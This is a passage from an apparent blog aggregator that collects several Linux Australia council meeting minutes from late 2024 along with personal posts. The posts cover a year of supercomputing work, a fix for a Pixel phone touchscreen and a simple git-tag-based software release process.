    • Fwd: [Linux-aus] Science Cafe – Admin team clarifying whether a mailing list is still needed. It is not required and can be closed down.

    3. Items for discussion

     

    • LA Election
    • AGM
    • Makerspace Adelaide Grant Request
      • Total grant request is $5082 for 6 laptops at $847 each.
      • Open source and Linux will be used on the laptops.
      • The size of the grant is a concern: half the grant budget.
      • Could we meet them half-way?
      • There is concern that the laptops might be under-spec’ed for some of the software they plan to use (Blender for example).
      • Could they consider second-hand laptops (ebay, ex-Government auctions, Grays Online, etc). LA has done this in the past. Sometimes with reconditioned systems there’s a short manufacturer’s warranty. Some manufacturers also have direct sales of refurbished laptops.
      • For example, on Ebay (Australian Computer Traders), a similar specified Dell i5 laptop is $285 tonight.  Six of these would be $1800.
      • Motion: that Linux Australia approves the grant request for six laptops at $847 totalling $5082.

    Moved by Joel.
    Seconded by Jonathan.
    The motion was defeated.

    • While the motion was defeated there was general agreement that LA would be willing to consider a revised application around more cost-effective options (such as second-hand laptops). An invitation to revise will be sent to Kylie by Jonathan. An update will be sent to the grants list once the final arrangement has been determined.
    • Suitability of jitsi for meetings
      • In general it seems to be working. It struggled with the number of participants when subcommittee members also joined.
      • Could jitsi be used for council and zoom for subcommittees? This was thought to be a piece-meal approach.
      • What about other options? BBB has been tried by other LA-affiliated groups over the last two years. It has been very tricky to get a stable platform. It seems to suffer from scaling issues.
      • We will probably have to seek out a paid hosting provider due to bandwidth  and other resource issues which could be challenge in our current server accommodations.
      • Since zoom is being paid, there is little reluctance to paying for a hosted solution (be it jitsi or some other open source platform).
      • Action item: Andrew to explore commercial open source video conference solutions. Number of participants: work on 20. This would gcover a hybrid AGM too.
    • Copyright claim
      • The photo is the Ariane 5 launch from Bdale’s LCA talk in 2003. The photo is from ESA. Reuters don’t own can’t claim copyright on an image they don’t own.
      • https://www.esa.int/var/esa/storage/images/esa_multimedia/images/2023/02/ariane_5_v135/24699582-2-eng-GB/Ariane_5_V135_pillars.jpg
      • On the lower right side is a copyright statement: © 2000 ESA – CNES – ARIANESPACE / Photo Service Optique CSG. The photo is clearly not a Reuters image based on the available public evidence.
      • Russell has asked a lawyer for advice. It appears that our position is strong: the image is marked copyright ESA, and therefore Reuters can’t claim copyright.
      • The claim requires a response by 17 Jan 2025. In the instance, LA will await a response from Russell before deciding on the next steps.
    • IRD Loan
      • The news that the debt is no longer being held against Python NZ is welcomed.
      • Joel noted that there was no discussion in the letter about repayment of the installment that has already been paid.
      • Neill has followed up with Danny to ask for clarification from the IRD. His response:

    not with this message (the only one received so far), and didn’t want to push that yet.

    We’re waiting for the transfer to happen, it may mean a credit already, or a follow up.

     

    • Accessibility report for ticketing platforms
      • The request is about making ticketing platforms accessible to vision-impaired people.
      • Action item: Sae Ra will talk to Rowland about possible sources for grants and other in-kind support LA can offer.

     

    4. Items for noting

    • None

    5. Other business

    • None

    6. In camera

    • One item was discussed in camera

    7. Action items

    7.1 Completed Items

    7.2 Carried Forward

     

    Meeting closed at 21:29  AEDT (UT+1100)

    Next meeting is scheduled for 2025-01-08 at 20:00 AEDT (UT+1100) on Jitsi.

    The post 2024-12-18 Council Meeting Minutes appeared first on Linux Australia.

    Monday, 6 January 2025

    Colin CharlesHello 2025

    I write, but just not here. Client sites, X, etc. so there is chronicling, but just not on the blog.

    What changed from Hello 2024?

    I got married. I moved into the flat. Companies have gone up and down, like life.

    170 days on the road, 308,832km travelled, 38 cities, and 16 countries. I have never travelled this little in recent life, but maybe the whole getting married thing (planning a wedding is no mean feat), and sorting the flat out (dealing with incompetent interior designers, sorting things there, etc.), caused this?

    It is 2025, and I’m actually planted in Kuala Lumpur, not having done an end of year trip, to usher in the New Year somewhere else. I started the year in Paris, and I ended the year in Kuala Lumpur, tired, and maybe a bit burnt out.

    Working hard to get back into the grind; don’t get me wrong, I’ve been doing nothing but grinding, but c’est la vie.

    Friday, 27 December 2024

    Lev LafayetteAnother Year in Supercomputing (2024 edition)

    The end of this year marks my seventeenth year working in high performance computing and my ninth at the University of Melbourne in this role. When I compare this to previous years there have been some notable changes in the technology and the system I am primarily involved with (Spartan), but also in my own employment activities. Late last year, there was a structural review of our operations at Research Computing Services, as the existing organisational chart was becoming unwieldy and increasingly untenable. I ended up as the team leader for HPC Services and have stepped back somewhat from technical to management of a small but awesome team, along with organisational activities between other service groups (data, cloud) and our very close relationship with the infrastructure group.

    Compared to last year, Spartan has increased to 7121 accounts and 2361 projects, mainly in engineering, bioinformatics (especially health) economics, mathematics, and more, and has been cited in at least 55 new papers. Machine learning has been a particularly popular area of interest for several years now on the system, which has especially benefited from Spartan's significant investment in GPUs, whose excellent vector computational performance is evident in the system receiving certification as a global supercomputer in November last year, jumping from a position of 453 (for the GPU partitions alone) in November 2023 to 262 in November 2024. Directly related to Spartan work, I attended two major conferences in person this year, "Supercomputing Asia" and "eResearch Australasia". For the former, I gave a presentation on the International HPC Certification Forum and a poster on usage outcomes from training. For the latter, I gave a presentation on the development of Spartan from a small but innovative system to its current supercomputer status.

    Training various postgraduate and postdoctoral researchers on how to use the system has been part of my work for more than a decade now, and it took some acceptance on my part several years ago when I realised that I was the most prolific supercomputer educator in the country. This year, several hundred researchers attended the twenty-two workshops that I conducted on Linux knowledge, regular expressions, HPC job submission, high performance and parallel Python, parallel programming (MPI, OpenMP, CUDA), mathematical and statistical programming (R, Octave/MATLAB, etc.), and more. In addition, each year, I am brought in for lectures and assessments for the University's Cluster and Cloud Computing course, which also has several hundred students. In addition, this year, I took a leave from the University to travel to the Australian Institute for Marine Science in Townsville to run a week-long HPC training course for around fifty of the most switched-on (mostly) young researchers I have ever had the pleasure of meeting.

    All of this has resulted in an extremely good review by my manager, who really appreciated the initiatives that I have taken within the new structure. These activities will continue, as I am increasingly emphasising the importance of organisational and technical quality assurance to RCS as a whole. A good portion of next year is already organised: I know I will be attending eResearch New Zealand to deliver a paper on HPC Training for Bioinformatics, eResearch Australasia in Brisbane, and I'll be doing lectures for UniMelb's COMP90024 course. In addition, I'll be doing my best to reduce the number of Spartan workshops I run, in preference to more online videos and documentation (we do a lot of the latter already, but it's never enough to satiate demand).

    In many ways, I am deeply blessed to have the sort of job that I do. Even if I get a bit grumpy about bureaucracy at times, I love my work. I get to provide supercomputer support to researchers whose discoveries and inventions make real changes to the world we live in with a stunning return on investment of 7:1 over two years, nearly entirely in the form of positive social externalities. It is computing for medicine, for climatology, for materials, for agriculture, for the environment, rather than computing for social media or games (both of which I use, by the way). It is the sort of computing I was inspired by as a youngster, research-focused and close to the metal. I may add that it is good and secure employment, especially given that technical and knowledge skills are increasingly valuable where the ratio of capital to labour increases. In a nutshell, I am more than happy with how supercomputing is progressing, and I am very happy with this career choice.

    Thursday, 5 December 2024

    Linux Australia2024-12-04 Council Meeting Minutes

    1. Meeting overview and key information

    Present

    • Joel Addison (President)
    • Sae Ra Germaine (Vice-President)
    • Russell Stuart (Treasurer)
    • Neill Cox (Secretary)
    • Andrew Pam (Council)
    • Jennifer Cox (Council)
    • Jonathan Woithe (Council)

    Apologies 

    • None

    Not Present

    Meeting opened at 20:05 AEDT by Joel  and quorum was achieved.
    Minutes taken by Neill.

    2. Log of correspondence

    • Oracle Linux & offerings | Increase Security and Reduce Cost –  Neill has sent the EO2025 sponsorship prospectus
    • Re: US Tax Paperwork Questions – Query from Joe Chin re sponsorship of DrupalCon Singapore
    • Request for approval of >$5k invoice – request for approval of payment for the PyConAu sprints venue
    • Steering Council Update / PyconAU 2025 Update – update from Clinton about PyConAu 2025 and the PyCon Steering Committee – Joel has responded
    • WordCamp Brisbane 2025 subcommittee – discussions about WC Brisbane
    • PythonWA funding opportunities – email from Ben Fitzhardinge about possible support o PythonWA
    • Fwd: Welcome to Write the Docs Australia 2024 – update about the Write The Docs conference that was run in Melbourne on Nov 28 and 29.
    • Approval for final venue balance invoice – the final payment for the PyconAu main conference venue has been approved.
    • Introducing DrupalSouth Committee Chair – Julia Topliss – Russell has done the onboarding for Julia and Margery Tongway (Drupal SC secretary)
    • Re: Please set me up with DrupalSouth stuff please – more onboarding discussion between Russell, Julia and Margery
    • Should Linux Australia have a BlueSky account? – after some discussion Kathy Reid has setup a bluesky account for Linux Australia
    • [LACTTE] Grant Application from Kylie Willison for Open Laptop Project – grant application from Makerspace Adelaide
    • Grant Application – budget for the Makerspace Adelaide grant application
    • Request for approval on >$5k invoice – payment of the Next Day Video invoice for PyconAu has been approved
    • Amazon Web Services Billing Statement Available [Account: 103334912252] – invoice for $7.44
    • Grant Report from Write the Docs Australia – report from Felicity Brand on the conference. Jonathan has responded.
    • Driving Open Source Forward: Make Your Impact in 2025 – Newsletter from OSI

    3. Items for discussion

    • Drupal South Subcommittee

    Dallas is an apology

    • Canberra Community Day

    Went well. Had a great community vibe. Even the bad feedback was good.

    Overall a fun day – sold the last 30 tickets on the last two days.

    Had a bigger presence at the GovCMS event this year.

    GovCMS ran a BoF centered around contributing back to Drupal. Gained a new contributor from that.

    70% of attendees indicated they would attend again.

    Keeping attendance free for APS attendees was a good decision.

    Ready to start planning for next year. Will be hard to make it even better next year.

    .

    • Melbourne 2025

    Currently looking at a loss of $59k. Early days for ticket sales. Expect to turn a profit if currently expected sponsors sign up and ticket sales match expectations.

    In a fairly good position thanks to the work of David and Michael.

    Ticket prices have been raised, but there has not been any negative feedback.

    Currently a little focused on Singapore. When that wraps up the organisers will be able to focus on planning for Melbourne.

    Want to get new people into the Drupal ecosystem. Will be reaching out to educational institutions with discounted tickets if sponsorships allow.

    Some minor issues with transactions. Russell is assisting with sorting out the spreadsheet. Confusion seems to be caused by changes to accounts.

    Russell has rarely seen such a clear financial statement from a conference.

    • DrupalCon Singapore Subcommittee
      • Starts on Monday.
      • It has been quite a ride.
      • Huge amount of community buzz.
      • 212 people have bought tickets. 49.8% are at their first Drupal event. This is much higher than other conferences.
      • Sold out of exhibition space. Hit the target of 100 people weeks ago.
      • Have tried very hard to bring in new sponsors. Created new sponsorship opportunities. Particular outreach to Japan and India which has brought in another $25k. Still looking at a $18k loss.
      • One final maybe, the contract has not yet been signed but an invoice has been raised.
      • Without the LA “tax” it’s only a 3k loss.
      • Apart from the budget everything else is looking really good.
      • Russell has asked for confirmation of the final large invoice. Mike will check and confirm that it is correct.
      • There is a spot in the calendar for DrupalCon Japan – will LA back that given this year’s experience? LA cannot guarantee anything at this point, but is willing to consider it.

     

    • Kiwi PyCon / Python NZ
      • Now looking forward to 2025. Chelsea will likely be the chair for 2025.
      • There was one missing transaction – a refund from Germany in Euros. Has now arrived.
      • Venue – waiting on confirmation for mid November dates
      • Preparing first meeting to plan budget
      • 2024 – the budget was on point except for sponsorship which was overestimated by $30,000. The goal is to make sure the budget will work even with the same reduced sponsorship.
      • Saving money by changing AV providers. Setting the lowest expectation to what was received this year.
      • Want to keep the option of striking out lunch catering. Will still cater morning and afternoon tea.
      • May need to raise ticket prices
      • Approach sponsors in January.
      • Open tickets sales in April – this will allow a decision about changes to catering and ticket prices once there is an indication of what sponsorship will be like.
      • The changes to AV will save $10k, Catering $10k, and raising ticket sales will hopefully bring in the last $10k.
      • LA is happy overall with 2024. It was obviously a challenging year but LA is positive about running the conference again in 2025.

     

    • Joomla
      • Have decided to put the next event off until the second half of 2025.
      • LA has not made any progress on the subcommittee yet. Joomla have provided the signatories to LA.

     

    • PyCon AU
      • Peter is an apology due to a cold
      • The event was a success.
      • Tracking to return a $6,000 profit.
      • Some issues with leaks in the sprint venue.
      • Appreciated LA’s flexibility on the budget, especially for catering.
      • Starting to look at 2025.
      • Peter will chair 2025. Neillwill take over as treasurer.
      • Discussions beginning about 2026.
      • Also looking at how to maintain state between conferences.

     

    • Flounder
      • Have continued to have monthly meetings
      • Attendance is relatively low. Would like ideas about how to attract more participants.
      • Attendees have a good time and learn useful things
      • Not just Australian attendees.

     

    • LUV
      • Nominal membership of thousands.
      • Actual attendance is much lower.
      • Annual BBQ is coming up which will be used to try and motivate people to attend.
      • Elections are coming up.
      • Suffers a bit from the invisibility of Linux nowadays – gone from “cool tech” to “background radiation”
      • Major expense is meetup. Maybe it’s time to consider dropping that.

     

    • WordPress
      • WC Sydney was good. Attendees enjoyed it, particularly the networking.
      • 248 attendees. 181 actual ticket sales. Higher than expected sponsorship. 130% higher than expected.
      • Drama around WP Engine and refunding their sponsorship.
      • Currently around $3,000 profit after the LA “tax”
      • The spreadsheet says there should be about $5,000 so that needs to be reconciled.
      • Definitely made a profit though.
      • Speaker videos are published.
      • Mostly 4 or 5 start reviews. A single one star review

    Feedback WordCamp Sydney 2024 Attendee Survey (Responses)

    • Wil will be assisting the WC Brisbane event.
    • Had a good number of new speakers.
    • Will do a pst event review after Christmas
    • Will produce a public budget for transparency

     

    • Everything Open 2025
      • 47 days to the conference
      • Managed to sign on about $68,000 of sponsorship which is $7,000 more than expected.
      • Ticket sales are a bit lower than expected.
      • The organising team don’t have as many contacts in Adelaide as expected.
      • Sa Rae is reaching out to an old LCA contact.
      • Still trying to contact a missing speaker.

     

    • Purplecon
      • Conference is complete
      • Financial reconciliation is complete
      • There will probably be a purplecon next year if enough organisers can be found.
      • Made a loss of around $864? Russell will confirm that the transactions have been entered correctly because he sees a profit.

     

    • Admin Team
      • Maliming list migration is underway (again). Want to get that done before elections are called.
      • What’s happening with the election? Sae Ra is finalising dates and will let Steve know either tonight or tomorrow.
      • EO2025 should be an opportunity to meet the new admin team candidate.
      • Still chasing the registrar about opensource.au which is still marked as contested.
      • GoDaddy has a service to broker purchase of domains – costs $130.  Unfortunately drop.com.au are a domain squatter and will probably ask for an excessive amount for opensource.com.au
      • Admin team reimbursements have been received.

     

    4. Items for noting

    • Grant application from Makerspace Adelaide

    A decision will need to be made at the next meeting.

    It is a significant amount of money.

    • Write The Docs
      • Well run
      • Good catering
      • There was live illustration, but not shown at the conference.
      • Attendees had a good time.
      • Well with sponsoring.
      • Repeated acknowledgement of Linux Australia as a sponsor.

    5. Other business

    • Joomla Subcommittee

    A budget has been provided. It’s fairly basic, but that’s because they don’t have much in the way of income or expenses.

     

    Motion: That Linux Australia accepts Joola Australia as a Steering Subcommittee and accepts their budget for 2025.
    Moved: Joel
    Seconded: Neill
    Result: Passed unanimously

     

    • PythonWA

    While at PyConAu Neill met Ben Fitzhardinge and spoke to him about possible ways Linux Australia might be able to support the PythonWA user group. I thought I had suggested infrastructure – banking, insurance, hosting – rather than direct financial support but I may have mentioned the grants program.

    • Draft minutes for the following meetings are online in draft format for review. Neill will publish them in the next few days:
      • 2024-07-03
      • 2024-07-17
      • 2024-07-31
      • 2024-08-14
      • 2024-08-28
      • 2024-09-11
      • 2024-09-25
      • 2024-10-09
      • 2024-10-23
      • 2024-11-06
      • 2024-11-20

     

    6. In camera

    • No items were discussed in camera

    7. Action items

    7.1 Completed Items

    7.2 Carried Forward

     

    Meeting closed at 21:46 AEDT

    Next meeting is scheduled for 2024-12-18 at 08:00 AEDT (UT+1100) on jitsiobjects

    The post 2024-12-04 Council Meeting Minutes appeared first on Linux Australia.

    Linux Australia2024-11-20 Council Meeting Minutes

    1. Meeting overview and key information

    Present

    • Joel Addison (President)
    • Sae Ra Germaine (Vice-President)
    • Neill Cox (Secretary)
    • Jennifer Cox (Council)
    • Andrew Pam (Council)
    • Jonathan Woithe (Council)

    Apologies 

    • Russell Stuart (Treasurer)

    Not Present

    Meeting opened at 20:03 AEDT by Joel and quorum was achieved.

    Minutes taken by Neill Cox

    2. Log of correspondence

    • Get ready for Write the Docs Australia 2024 – update on conference progress, Andrew will attend.
    • Missing info for NZ GST – Russell following up in preparation for LA’s audit
    • Oracle Linux & offerings | Increase Security and Reduce Cost – Offer from an Oracle Linux salesperson to speak to members. Neill will send them the EO2025 sponsorship prospectus.
    • The Open Source AI Definition v.1.0 is here, what now? – OSI Press release
    • Re: WCSyd Payment sent to wrong bank account. – Russell has responded
    • Activity Statement for Kiwi PyCon XIII (K000086) ? – Russell has responded
    • Lodge Linux Australia Activity Statement July..September 2024 – has been lodged
    • LinkedIn comment about LA website being out of date – Kathy Reid notified us of a linkedIn comment about LA. Sae Ra has contacted Kathy.
    • Linux Australia’s 2023/2024 audit – Russell has submitted financial statements to the auditor
    • Steering Council Update / PyconAU 2025 Update – update from Clinton about PyConAu 2025 and some changes to the PyConAU steering committee
    • Time sensitive: Final venue payment for PyCon AU – request for approval of a payment for PyConAU. Payment has been approved.
    • Russell is on holidays
    • Re: DrupalCon Asia Payment Approval Request – Russell has processed the request
    • Approval for >$5k invoice – Request to approve payment for a PyConAU invoice. Russell has approved the payment.
    • Introducing DrupalSouth Committee Chair – Julia Topliss – Email from Dave Sparks introducing the new DrupalSouth committee members.

    3. Items for discussion

    • Constitutional updates

    We are working on identifying the needed changes. It looks like the easiest approach will be to adopt a new constitution rather than amending our current one to match.

    Significant changes:

    • We need to  clearly specify our financial year dates
    • We should make sure we make the changes necessary for us to apply for charity status.

    We will also have to pay careful attention to the requirements about record keeping for membership lists. We will likely have to keep a list of names and addresses for all members to meet the legal requirements of being an incorporated association. Ideally we will still be able to allow members to opt out of having their addresses changed, but this will require legal advice.

    • Community update email

    Joel will send an email to the community to:

    • Update the community on upcoming events
    • Inform the members that we need to update the constitution due to external requirements.

    A link to a working area where discussions will be held.

    The actual changes to the constitution will likely need to be done at a special general meeting. Doing it at the AGM will be impossible due to the notice that needs to be given.

    • LA Election

    We will aim to hold the AGM at Everything Open. We will work backwards from that to determine when the election needs to be held.

    4. Items for noting

    • Grant applications will be closed at the end of November.
    • Schedule for Everything Open is up. It’s a corker!

    5. Other business

    6. In camera

    • No items were discussed in camera

    7. Action items

    7.1 Completed Items

    7.2 Carried Forward

     

    Meeting closed at 20:33 AEDT

    Next meeting is scheduled for 2024-12-04

    The post 2024-11-20 Council Meeting Minutes appeared first on Linux Australia.

    Linux Australia2024-11-06 Council Meeting Minutes

    1. Meeting overview and key information

    Present

    • Joel Addison (President)
    • Sae Ra Germaine (Vice-President)
    • Russell Stuart (Treasurer)
    • Neill Cox (Secretary)
    • Andrew Pam (Council)
    • Jennifer Cox (Council)
    • Jonathan Woithe (Council)

    Apologies 

    • None

    Not Present

    Meeting opened at 19:34 AEST by Joel  and quorum was achieved.

    Minutes taken by Neill.

    2. Log of correspondence

    • Re: DrupalCon Singapore Bill Payments – Wise verification done and payments sent
    • Get ready for Write the Docs Australia 2024 – Update on Progress from Felicity Brand
    • Missing info for NZ GST – questions about KiWi PyConand NZ GST – Russell has responded
    • admin team reimbursements  – Russell has responded
    • Fwd: Catering at PyCon AU 2024 – see Other Business below
    • Manufacturing Statement – 71183992 from RedBubble
    • Fwd: An Osko Payment has been rejected – Russell has responded
    • Re: Misc Issues with NZ Accounts
    • Amazon Web Services Billing Statement Available
    • Exec minutes for the previous financial year  – request from Russell for minutes to be published. This has now been done.
    • Activity statements are available online – ATO notification
    • WordCamp Sydney Incident Report
    • Incorrect GST on transactions
    • Lodge Linux Australia Activity Statement July..September 2024
    • Re: Following up on Linux Australia sponsorship
    • Important: Upcoming changes on your existing product from 6th December 2024.
    • Singapore Budget Update
    • Unpaid sales invoices
    • Joomla sub-committee – draft budget supplied
    • Unpaid invoice dated 1/Apr/2024

    3. Items for discussion

    • Drupal South Subcommittee
      • Canberra Community Day

    Next week. Speaker line up looks good. Content looks good. Just over 100 attendees booked in. May vary slightly on the day. Budget is looking good. Tracking for a profit of around $4,000.

    Shows the strength of running events in Canberra with the support of the government community.

     

    • Elections

    Elections for the committee concluded this week. One new Australiana and one new NZ member. Two members leaving – David and Michael did not seek re-election. This will be Dave’s last meeting with the LA Council.

    There were a good number of nominations. The charter requires two Australian and to New Zealander members.

    The community seems a little smaller, but the number of votes was similar.

    Official announcement to be made soon, including declaration of who will be the Chair.

    • Melbourne 2025

    Looking forward to using the A/V support from the venue.

    Some of the traditional sponsors have already returned. Yet to actually chase sponsorship.

    Julia has started organising the volunteer committee.

    In previous years they needed to cap numbers and turn people away. Hoping that this time if numbers look good then there is an option to expand the number of seats available.

    The sprint has been moved to avoid running at the same time as the GP. New venue is attached to a TAFE close to the city. This provides an opportunity to market to students and attract new participants.

    Need to add Julie to the future subcommittee meetings.

     

    • DrupalCon Singapore Subcommittee
      • Have been working very hard on trying to cut costs and raise more money.
      • Have now removed shirts fom the budget.
      • Now forecasting an $8,000 loss.
      • Advocating for sponsorship from Japan and India to help ensure that the event can run in future years.
      • Networking drinks have been renamed to “Drupal CMS Release Candidate Launch Party” this allows offering a new low cost sponsorship option to the participants in that work.
      • Automattic have now confirmed sponsorship.
      • A few other problems were discovered.
      • Currently asking the Drupal Association if recording the second day of videos which would help reduce costs further.
      • The operating budget is still showing an $60,000 loss, but more money is expected to come in soon.
      • Ticket sales are at 148 currently with about another 20 coming in each week. Reasonably confident of getting to 250.

     

    • Kiwi PyCon / Python NZ
      • Xero has been fully reconciled now and shows a loss of a bit over $34,000
      • Venue options for the next conference are limited. Shed 6 looks like it may be the best option. Venue and A/V costs looks like being $40,000. Looking to cut back on other fixed costs.
      • Looking at November next year to give a longer on ramp and time to make new decisions
      • Looking to form the next Kiwi PyCon committee in about two weeks after the new Python NZ committee meets.
      • WIll also try and make sure there is no clash with PyCon AU. November has an advantage because of KawaiiCon running at the beginning of November which may make things easier for international visitors.
      • One issue with the accounting was difficulties paying invoices in euros, via NZ dollars converted from AU dollars. This caused significant confusion which is not yet fully resolved.

     

    • Joomla
      • A draft budget has been shared with the LA Council
      • The account has been closed and the money moved due to a limited number of bank accounts being available to LA. The money is still tracked separately in Xero and will be available to the Joomla subcommittee in the future.
      • Memberships have been at $50/year. Expecting at least 20 members.
      • There are few expenses as many operating costs are being donated (e.g. hosting).
      • Have decided to use $400 from the last event to seed the next one in Brisbane next year.
      • Will provide more detailed budgets in future years.
      • LA is also able to provide web hosting if required.
      • The 2025 event will probably be in either March or April. The date will be confirmed at the Joomla subcommittee next meeting.
      • Hoping for a slightly larger event – perhaps 30-40 people as opposed to this years 20.

     

    • PyCon AU
      • Happening in just over two weeks.
      • Sponsorship: Now at $73600 from 10 sponsors, up $42500 from last month. We have 6 sponsors with booths at the main conference (table + TV setup where their staff can chat with attendees) and 2 running workshops at the sprints.
      • Ticket sales: We have 420 attendees now and are projecting 430-450 attendees.
      • Current Challenge: We need to commit to catering (or not) by Friday. Minimal lunch + all day coffee catering will cost ~$77k. Based on the latest budget projections we must choose between making ~$66k profit (no catering) or ~$11k loss (minimal catering). There is a small chance of running catering with a neutral budget if we get some last minute sponsors or professional ticket bundle sales, though we can’t count on either. We would like some guidance from LA on if this level of loss would be acceptable so that we can run a conference that leaves attendees and sponsors happy to attend again next year.
      • LA has voted on the catering option and approved the minimal catering option.

     

    • Flounder
      • No meeting this week. Postponed a week.

     

    • LUV
      • No meeting this week. Postponed a week.

     

    • WordPress
      • No update

     

    • Everything Open 2025
      • Session selection confirmation have been sent out
      • 13 tickets sold already
      • Two keynotes are locked in. Talking to a third.
      • Schedule is almost complete.
      • Have a kubernetes CTF session setup on Wednesday
      • Talking to SUSE about sponsorship
      • Donna Benjamin is also chasing sponsorship.

     

    • Purplecon
      • Completed all arrangements – catering, A/V, volunteers etc.
      • Almost everything has been paid for except for the remaining A/V payment and a few other small items.
      • Purplecon now has a new sponsor. So sponsorship stands at $10,010 (ex GST)
      • 194 tickets. Less than hoped for but more than expected.
      • Total expenditure has dropped by about $8,000
      • Projected loss is now about $4,000
      • These figures do not properly account for GST so the projected result is pessimistic.
      • The conference is in two days.

     

    • Admin Team
      • Apologies for last month. Unavoidable scheduling conflict.
      • Test version of an online docs system (Nextcloud) is running. Many lessons learned. Will discuss its suitability and setting up on an appropriate domain.
      • Draft budget for next year has been prepared.
      • Would like to have the admin face to face to happen twice this year. Partly because there is a new potential admin team member.
      • The HDD component of the storage upgrade has been deferred to next year because of difficulty finding the most appropriate drives at a reasonable price.
      • Everything Open email has been moved to Fastmail. Seems to be working.
      • Looking at cutting the LA lists over this coming weekend.
      • Stephen would like to schedule a meeting to discuss backups with Joel.
      • Need a key for video uploads.
      • Sae Ra will be organising an EO A/V meeting in November.
      • LA Council would like to thank Steve for all his work sorting out email.

     

    4. Items for noting

    • Ongoing RSE sponsorship (email received 21 Jun 2024) – to be discussed by Sae Ra with Rowland in the first instance.
    • Write the Docs tickets need to be used soon.
    • We should close the Health Hacks bank account. Russell will notify Craig Askings

    5. Other business

    • MOTION: That LA approves PyCon AU 2024 following Option 1 from their proposal, to provide catering to their attendees.

    Moved via email by Joel

    Seconded by Sae Ra

    Passed unanimously

    6. In camera

    • Three items were discussed in camera

    7. Action items

    7.1 Completed Items

    7.2 Carried Forward

     

    Meeting closed at 21:15

    Next meeting is scheduled for 2024-11-20 at 08:00 AEDT (UT+1100) on jitsi

    The post 2024-11-06 Council Meeting Minutes appeared first on Linux Australia.

    Friday, 29 November 2024

    Yifei ZhanFix Pixel 3A XL Screen Unresponsiveness After First Lock

    I recently replaced the screen of a Google Pixel 3A XL, the new panel is made by tianma and worked well under Andoird, until it doesn’t. On every boot up the screen will work until the phone went to sleep, and then the screen will stop responding to touch, until another reboot. After the screen became unresponsive, the rest of the phone would remain responsive during the locked state and it’s possible to unlock the screen with fingerprint, but there is no way to make the touchscreen responsive again without reboot.

    To fix this, go to Settings -> System -> Gestures and disable Double-tap to check phone. After which the screen should no longer stuck into unresponsive state. This seems to be a common problem affecting many phones with replaced screen.

    Google will surely shutdown their support forum one day and I encourage everyone to put their notes somewhere reliable, like a selfhosted blog :)

    Saturday, 23 November 2024

    Matt PalmerYour Release Process Sucks

    For the past decade-plus, every piece of software I write has had one of two release processes.

    Software that gets deployed directly onto servers (websites, mostly, but also the infrastructure that runs Pwnedkeys, for example) is deployed with nothing more than git push prod main. I’ll talk more about that some other day.

    Today is about the release process for everything else I maintain – Rust / Ruby libraries, standalone programs, and so forth. To release those, I use the following, extremely intricate process:

    1. Create an annotated git tag, where the name of the tag is the software version I’m releasing, and the annotation is the release notes for that version.

    2. Run git release in the repository.

    3. There is no step 3.

    Yes, it absolutely is that simple. And if your release process is any more complicated than that, then you are suffering unnecessarily.

    But don’t worry. I’m from the Internet, and I’m here to help.

    Sidebar: “annotated what-now?!?”

    The annotated tag is one git’s best-kept secrets. They’ve been available in git for practically forever (I’ve been using them since at least 2014, which is “practically forever” in software development), yet almost everyone I mention them to has never heard of them.

    A “tag”, in git parlance, is a repository-unique named label that points to a single commit (as identified by the commit’s SHA1 hash). Annotating a tag is simply associating a block of free-form text with that tag.

    Creating an annotated tag is simple-sauce: git tag -a tagname will open up an editor window where you can enter your annotation, and git tag -a -m "some annotation" tagname will create the tag with the annotation “some annotation”. Retrieving the annotation for a tag is straightforward, too: git show tagname will display the annotation along with all the other tag-related information.

    Now that we know all about annotated tags, let’s talk about how to use them to make software releases freaking awesome.

    Step 1: Create the Annotated Git Tag

    As I just mentioned, creating an annotated git tag is pretty simple: just add a -a (or --annotate, if you enjoy typing) to your git tag command, and WHAM! annotation achieved.

    Releases, though, typically have unique and ever-increasing version numbers, which we want to encode in the tag name. Rather than having to look at the existing tags and figure out the next version number ourselves, we can have software do the hard work for us.

    Enter: git-version-bump. This straightforward program takes one mandatory argument: major, minor, or patch, and bumps the corresponding version number component in line with Semantic Versioning principles. If you pass it -n, it opens an editor for you to enter the release notes, and when you save out, the tag is automagically created with the appropriate name.

    Because the program is called git-version-bump, you can call it as a git command: git version-bump. Also, because version-bump is long and unwieldy, I have it aliased to vb, with the following entry in my ~/.gitconfig:

    [alias]
        vb = version-bump -n
    

    Of course, you don’t have to use git-version-bump if you don’t want to (although why wouldn’t you?). The important thing is that the only step you take to go from “here is our current codebase in main” to “everything as of this commit is version X.Y.Z of this software”, is the creation of an annotated tag that records the version number being released, and the metadata that goes along with that release.

    Step 2: Run git release

    As I said earlier, I’ve been using this release process for over a decade now. So long, in fact, that when I started, GitHub Actions didn’t exist, and so a lot of the things you’d delegate to a CI runner these days had to be done locally, or in a more ad-hoc manner on a server somewhere.

    This is why step 2 in the release process is “run git release”. It’s because historically, you can’t do everything in a CI run. Nowadays, most of my repositories have this in the .git/config:

    [alias]
        release = push --tags
    

    Older repositories which, for one reason or another, haven’t been updated to the new hawtness, have various other aliases defined, which run more specialised scripts (usually just rake release, for Ruby libraries), but they’re slowly dying out.

    The reason why I still have this alias, though, is that it standardises the release process. Whether it’s a Ruby gem, a Rust crate, a bunch of protobuf definitions, or whatever else, I run the same command to trigger a release going out. It means I don’t have to think about how I do it for this project, because every project does it exactly the same way.

    The Wiring Behind the Button

    It wasn’t the button that was the problem. It was the miles of wiring, the hundreds of miles of cables, the circuits, the relays, the machinery. The engine was a massive, sprawling, complex, mind-bending nightmare of levers and dials and buttons and switches. You couldn’t just slap a button on the wall and expect it to work. But there should be a button. A big, fat button that you could press and everything would be fine again. Just press it, and everything would be back to normal.

    • Red Dwarf: Better Than Life

    Once you’ve accepted that your release process should be as simple as creating an annotated tag and running one command, you do need to consider what happens afterwards. These days, with the near-universal availability of CI runners that can do anything you need in an isolated, reproducible environment, the work required to go from “annotated tag” to “release artifacts” can be scripted up and left to do its thing.

    What that looks like, of course, will probably vary greatly depending on what you’re releasing. I can’t really give universally-applicable guidance, since I don’t know your situation. All I can do is provide some of my open source work as inspirational examples.

    For starters, let’s look at a simple Rust crate I’ve written, called strong-box. It’s a straightforward crate, that provides ergonomic and secure cryptographic functionality inspired by the likes of NaCl. As it’s just a crate, its release script is very straightforward. Most of the complexity is working around Cargo’s inelegant mandate that crate version numbers are specified in a TOML file. Apart from that, it’s just a matter of building and uploading the crate. Easy!

